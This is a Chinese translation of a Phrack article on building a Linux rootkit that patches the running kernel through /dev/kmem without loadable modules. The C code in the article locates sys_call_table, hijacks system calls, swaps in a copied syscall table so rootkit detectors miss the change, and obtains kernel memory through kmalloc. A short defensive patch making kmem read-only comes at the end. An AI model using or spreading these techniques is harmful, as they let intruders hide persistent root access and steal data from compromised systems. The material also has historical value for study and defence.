Linux on-the-fly kernel patching without LKM
|
|
Linux on-the-fly kernel patching without LKM创建时间：2002-01-31 文章属性：转载 文章来源：http://www.linuxaid.com.cn Linux on-the-fly kernel patching without LKM 这篇文章的原文是Phrack58-0x07 Linux on-the-fly kernel patching without LKM，其中提出了一种不借助LKM(Loadable Kernel Module)，直接修改系统调用实现Rootkit的技术。在阅读本文时，最好能够对照原文和实现这项技术的代码，以免译者可能出现的理解错误给您造成 误解:)。 作者：sd&devik 翻译：nixe0n 1.简介 开始，我们要感谢Silvio Cesare，是他在很久以前就实现了内核修改技术，本文的大部分想法都是窃取他的成果。 本文，我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法，因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解，请参考本文列举的参考资料。 首先，我们设想一下，如果一个可怜的家伙进入了一个系统获得了root权限，但是系统管理员非常精明，使用某些数据完整性检测工具使攻击者不能神不知鬼不 觉地安装自己修改过的木马sshd，而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P)，使攻击者无法编译自己的LKM rookit。这可怎么办？本文将一步步地告诉你如何解决这个问题，另外在本文的结尾提供了完整的Linux-ia32 rootkit，在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n) 本文讲述的技术只能用于用于ia32架构。 2./dev/kmem是我们的朋友 mem是一个字符设备文件，是计算机主存的一个影象。它可以用于测试甚至修改系统。 未曾开始先来一段语录:)，来自Linux手册页(man mem) 有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching，这里只是简要地介绍一个片段： 本文中，所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限，因此只有root才能实 现这些操作.注意：只是修改/dev/kmem的权限，无法让普通用户获得对它的修改权限，因为即使虚拟文件系统允许普通用户访问/dev/kmem，内 核还会对进程进行第二次检查(在device/char/mem.c中)，检查进程是否具有CAP_SYS_RAWIO能力(capability)。 除/dev/kmem设备之外，/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置，通过这个设备也可能达到修改系统内核的目的。在本文中，我们不讨论这种可能性。 在代码中，针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现，非常简单。下面是实现上述功能的函数： /* 从kmem中读取数据 */ static inline int rkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } /* 向kmem中写入数据 */ static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* 从kmem读出一个整数 */ static inline int rkml(int fd, int offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* 向kmem写入一个整数 */ static inline int wkml(int fd, int offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } 3.替代系统调用 我们知道，从用户空间的角度看，系统调用在Linux中，是最底层的系统函数，因此系统调用是我们最感兴趣的东西。在Linux内核中，系统调用被集合到 一个表中(sys_call_table)，这是个一维数组，保存256个指针，使用系统调用号作为索引定位调用的入口点。仅此而已。 我们首先看一下下面这段伪代码： /* as everywhere, "Hello world" is good for begginers ;-) */ /* 原来的系统调用 */ int (*old_write) (int, char *, int); /* 新系统调用处理函数 */ new_write(int fd, char *buf, int count) { if (fd == 1) { /* 标准输出设备 ? */ old_write(fd, "Hello world!/n", 13); return count; } else { return old_write(fd, buf, count); } } old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */ sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */ 这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到，我们可以通过这种方式修改sys_call_table[]，而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。 好了，到此为止，我们想这恐怕已经足够了。 3.1.没有LKM如何获得sys_call_table[]的位置 首先，要注意一点，如果在编译时不支持LKM，Linux内核将不会维护任何的符号信息。这是一个明智的选择，不支持LKM，还有什么使用这些信息的理 由？为了调试？System.map可以用于调试。当然，我们需要这些符号信息:)。如果内核支持LKM，LKM需要的符号就会被导入它们的特定连接片 段。但是，我们说过，不支持LKM，这怎么办？ 据我们所知，要获取sys_call_table[]的位置，最聪明的方式是这样的： #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> struct { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; int kmem; void readkmem (void *m,unsigned off,int sz) { if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } } #define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */ main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; /* 获得IDTR寄存器的值 */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X/n",(int)idtr.base); /* 打开kmem */ kmem = open ("/dev/kmem",O_RDONLY); if (kmem<0) return 1; /* 从IDT读出0x80向量 (syscall) */ readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) | idt.off1; printf("idt80: flags=%X sel=%X off=%X/n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* 寻找sys_call_table的地址 */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"/xff/x14/x85",3); sct = *(unsigned*)(p+3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x/n", sct, p); } close(kmem); } 下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置，从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。 然后我们使用[sys_call_off = (idt.off2 << 16) | idt.off1;]计算出int $0x80的入口点(system_call函数的地址)。但是，我们想知道的是sys_call_table[]的位置。我们先看一下 system_call函数反汇编后的代码。你如果使用自己编译的内核，那么每次编译完成后，都会产生一个叫做vmlinux的文件。使用这个文件可以找 出内核符号的地址。 [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call Dump of assembler code for function system_call: 0xc0106bc8 <system_call>: push %eax 0xc0106bc9 <system_call+1>: cld 0xc0106bca <system_call+2>: push %es 0xc0106bcb <system_call+3>: push %ds 0xc0106bcc <system_call+4>: push %eax 0xc0106bcd <system_call+5>: push %ebp 0xc0106bce <system_call+6>: push %edi 0xc0106bcf <system_call+7>: push %esi 0xc0106bd0 <system_call+8>: push %edx 0xc0106bd1 <system_call+9>: push %ecx 0xc0106bd2 <system_call+10>: push %ebx 0xc0106bd3 <system_call+11>: mov $0x18,%edx 0xc0106bd8 <system_call+16>: mov %edx,%ds 0xc0106bda <system_call+18>: mov %edx,%es 0xc0106bdc <system_call+20>: mov $0xffffe000,%ebx 0xc0106be1 <system_call+25>: and %esp,%ebx 0xc0106be3 <system_call+27>: cmp $0x100,%eax 0xc0106be8 <system_call+32>: jae 0xc0106c75 <badsys> 0xc0106bee <system_call+38>: testb $0x2,0x18(%ebx) 0xc0106bf2 <system_call+42>: jne 0xc0106c48 <tracesys> 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) <-- 就是它 0xc0106bfb <system_call+51>: mov %eax,0x18(%esp,1) 0xc0106bff <system_call+55>: nop End of assembler dump. (gdb) print &sys_call_table $1 = (<data variable, no debug info> *) 0xc01e0f18 <-- 看到了吗？一样 (gdb) x/xw (system_call+44) 0xc0106bf4 <system_call+44>: 0x188514ff <-- 机器指令 (little endian) (gdb) 从上面的试验可以看出，只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了。而且，各种x86架构的Linux内核(至少从2.0.10到2.4.10是如 此)基本都是通过这条指令来传递系统调用的。call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x调用地址，因此我们可以使用模式匹配的方式获得条指令的地址： memmem (sc_asm,CALLOFF,"/xff/x14/x85",3); /*从system_call的位置开始搜索*/ 除了这种方法，可能存在更为健壮的处理方式。这里我们只是简单地获得int $0x80处理函数中某条简单指令的地址。如果考虑内核的重入性问题，就复杂了。 到此为止，我们获得了sys_call_table[]的位置，这样我们就可以修改某些系统调用的地址了，下面是相关的伪代码： readkmem(&old_write, sct + __NR_write * 4, 4); /* 保存旧的系统调用 */ writekmem(new_write, sct + __NR_write * 4, 4); /* 设置新的系统调用 */ 3.2.修改system_call的调用地址 在撰写本文时，我们在Packetstorm/Freshmeat发现了一些所谓的rootkit检测器。它们能够检测LKM、系统调用表和内核其它部分 的错误。不过幸运的是，绝大多数此类工具都非常愚蠢，只要略施小计就可以骗过它们，请参考文献[6]，绿色兵团的大鹰也有一篇讨论这项技术的文章。我们建 立一个新的系统调用表，根本不修改原来的sys_call_table[]数组里面的任何内容，然后把system_call函数的调用地址修改为新的系 统调用表就可以了。这样，那些通过检查系统调用实现函数的地址的rootkit检测工具(例如：kstat)就根本无法察觉系统调用已经被修改了，因为我 们根本就没有修改过sys_call_table[]里面的任何东西，只是将其废弃不用而已。具体过程可以使用如下伪代码描述： ulong sct = addr of sys_call_table[] char *p = ptr to int 0x80's call sct(,eax,4) - dispatch ulong nsct[256] = new syscall table with modified entries readkmem(nsct, sct, 1024); /* read old */ old_write = nsct[__NR_write]; nsct[__NR_write] = new_write; /* 使用我们自己的系统调用表 */ writekmem((ulong) p+3, nsct, 4); /* Note that this code never can work, because you can't redirect something kernel related to userspace, such as sct[] in this case */ 在这段代码中，我们建立了sys_call_table[]的一个拷贝[readkmem(nsct, sct,1024);]，然后保存并修改我们感兴趣的调用入口[old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;]，接着只要修改system_call函数中call <地址>(,eax,4)指令调用的地址，就可以实现系统调用的重定向： 0xc0106bf4 <system_call+44>: call *0xc01e0f18(,%eax,4) ~~~~|~~~~~ |__ 这就是我们自己的系统调用表地址 LKM检测工具一般不会检查system_call函数的内容(以后很可能会的)，因此根本无法察觉，sys_call_table[]还在那里，我们没有做任何的修改，只是system_call函数已经不再用它了:)。 4.获得内核空间的内存 下面，我们要做的就是获得地址在0xc0000000或者0x80000000以上的内存，0xc0000000是用户内存空间和内核内存空间的边界，用 户进程无法访问地址高于0x80000000的内存地址，即使是root用户也不行。那么，我们又该怎么做呢？别着急，让我们首先看看支持LKM的内核是 怎么做的(/usr/src/linux/kernel/module.c)； void inter_module_register(const char *im_name, struct module *owner, const void *userdata) { struct list_head *tmp; struct inter_module_entry *ime, *ime_new; if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) { /* Overloaded kernel, not fatal */ ... 不出我们所料，它们使用kmalloc(size, GFP_KERNEL)函数来分配内核空间的内存。但是，我们不能使用kmalloc()函数，因为： 我们不知道kmalloc()函数的地址 我们不知道GFP_KERNEL的值 我们不能在用户空间调用kmalloc()函数 4.1.如果有LKM支持如何获得kmalloc()的地址 如果系统提供LKM支持，可以使用如下代码找到kmalloc函数的地址： ulong get_sym(char *n) { struct kernel_sym tab[MAX_SYMS]; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS' 'numsyms < 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } ulong get_kma(ulong pgoff) { ret = get_sym("kmalloc"); if (ret) return ret; return 0; } 这段代码我们就不多做说明了。 4.2.通过模式匹配搜索kmalloc()函数的地址 但是，如果内核没有提供LKM支持，将使我们陷入困境。而且，这个问题的解决方法非常脏，也不是很好，但是看来还有效。我们将遍历内核的.text段，对如下指令进行模式查询： push GFP_KERNEL <something between 0-0xffff> push size <something between 0-0x1ffff> call kmalloc 然后，把搜索结果收集到一个表中排序，出现次数最多的就是kmalloc()函数地址，下面是实现代码： #define RNUM 1024 ulong get_kma(ulong pgoff) { struct { uint a,f,cnt; } rtab[RNUM], *t; uint i, a, j, push1, push2; uint found = 0, total = 0; uchar buf[0x10010], *p; int kmem; ulong ret; /* 在使用我们自己的方式之前，试一下正确的方法是否可行 */ ret = get_sym("kmalloc"); if (ret) return ret; /* humm, no way ;)) */ kmem = open(KMEM_FILE, O_RDONLY, 0); if (kmem < 0) return 0; for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) { if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* 寻找push和call指令 */ for (p = buf; p < buf + 0x10000;) { switch (*p++) { case 0x68: push1 = push2; push2 = *(unsigned*)p; p += 4; continue; case 0x6a: push1 = push2; push2 = *p++; continue; case 0xe8: if (push1 && push2 && push1 <= 0xffff && push2 <= 0x1ffff) break; default: push1 = push2 = 0; continue; } /* 我们获得了push1/push2/call序列，再寻找地址 */ a = *(unsigned *) p + i + (p - buf) + 4; p += 4; total++; /* 在表中找 */ for (j = 0, t = rtab; j < found; j++, t++) if (t->a == a && t->f == push1) break; if (j < found) t->cnt++; else if (found >= RNUM) { return 0; } else { found++; t->a = a; t->f = push1; t->cnt = 1; } push1 = push2 = 0; } /* for (p = buf; ... */ } /* for (i = (pgoff + 0x100000) ...*/ close(kmem); t = NULL; for (j = 0;j < found; j++) /* find a winner */ if (!t' 'rtab[j].cnt > t->cnt) t = rtab+j; if (t) return t->a; return 0; } 这个代码只是一个简单的state machine，它没有考虑由某些GCC编译选项造成的汇编代码布局的差异。修改switch的选项，可以把它用于其它代码模式的搜索。并且如果增加对GFP值的查询，可以增加其准确程度。 这个代码的精确度能够达到大约80%左右，并且可以广泛地用于2.2.1->2.4.13的内核。 4.3.GFP_KERNEL的值 我们将要遇到的下一个问题是GFP_KERNEL的值在每个内核系列中是不同的，这个问题可以通过uname()函数解决。 +-----------------------------------+ | kernel version | GFP_KERNEL value | +----------------+------------------+ | 1.0.x .. 2.4.5 | 0x3 | +----------------+------------------+ | 2.4.6 .. 2.4.x | 0x1f0 | +----------------+------------------+ 注意：在2.4.7-2.4.9的内核中，有时会因为错误的GFP_KERNEL造成调用不成功。 代码： #define NEW_GFP 0x1f0 #define OLD_GFP 0x3 /* uname struc */ struct un { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; char domainname[65]; }; int get_gfp() { struct un s; uname(&s); if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' || (s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP; } return OLD_GFP; } 4.4.覆盖系统调用 我们前面说过，我们不能直接从用户空间调用kmalloc()函数，这个问题可以从Silvio的文章中找到答案[参考文献2]。 1.获得某些系统调用实现的地址(IDT -> int 0x80 -> sys_call_table)。 2.建立一个例程调用kmalloc()函数并返回一个内存指针。 3.由于某个系统调用要被覆盖，因此我们需要保存将被覆盖掉的内容。 4.使用我们自己的例程覆盖原来的系统调用实现。 5.通过int $0x80在用户空间调用这个系统调用，这个例程就会把获得的内存指针返回给我们。 6.利用3.保存的内容恢复原来的系统调用。 我们自己的系统调用如下： struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)); int our_routine(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } 现在，我们获得了内核空间的内存，可以把我们自己的系统调用实现复制到这块内存中，然后修改伪造的sys_call_table数组，伪造系统调用的入口。 5.一些需要注意的事项 在使用这个技术时，最好能够注意以下事项： 注意内核的版本(我们是指GFP_KERNEL)。 如果想是其能够用于不同的内核，最好只修改系统调用，不要涉及到其它的任何内核数据结构包括tash_struct。 这个技术用于SMP可能造成一些麻烦，注意内核的重入问题，在需要的地方使用用户空间的锁。 6.可能的解决方法 好了，现在我们站在一个好人的角度上，看看怎样才能防止这种攻击。使用下面的补丁，把/dev/kmem设备的属性改为只读，并且取消LKM支持可以解决这个问题。 <++> kmem-ro.diff --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001 +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001 @@ -49,6 +51,8 @@ const char * buf, size_t count, loff_t *ppos) { ssize_t written; + /* disable kmem write */ + return -EPERM; written = 0; #if defined(__sparc__)' 'defined(__mc68000__) <--> 注意：这个补丁可能造成一些需要写/dev/kmem内核权限的应用程序无法正常运行，不过，为了安全这是值得的。 7.结论 Linux的内存设备看起来非常强大，但是攻击者同样可以使用这些设备来长时间地隐藏自己的行为，窃取信息，保证自己的远程访问权限，而不被发现。我们所知，这些设备并没有太大用处，因此关闭对它们进行写操作的能力是个好注意。 参考资料 [1] Silvio Cesare's homepage, pretty good info about low-level linux stuff [http://www.big.net.au/~silvio] [2] Silvio's article describing run-time kernel patching (System.map) [http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt] [3] QuantumG's homepage, mostly virus related stuff [http://biodome.org/~qg] [4] "Abuse of the Linux Kernel for Fun and Profit" by halflife [Phrack issue 50, article 05] [5] "(nearly) Complete Linux Loadable Kernel Modules. The definitive guide for hackers, virus coders and system administrators." [http://www.thehackerschoice.com/papers] |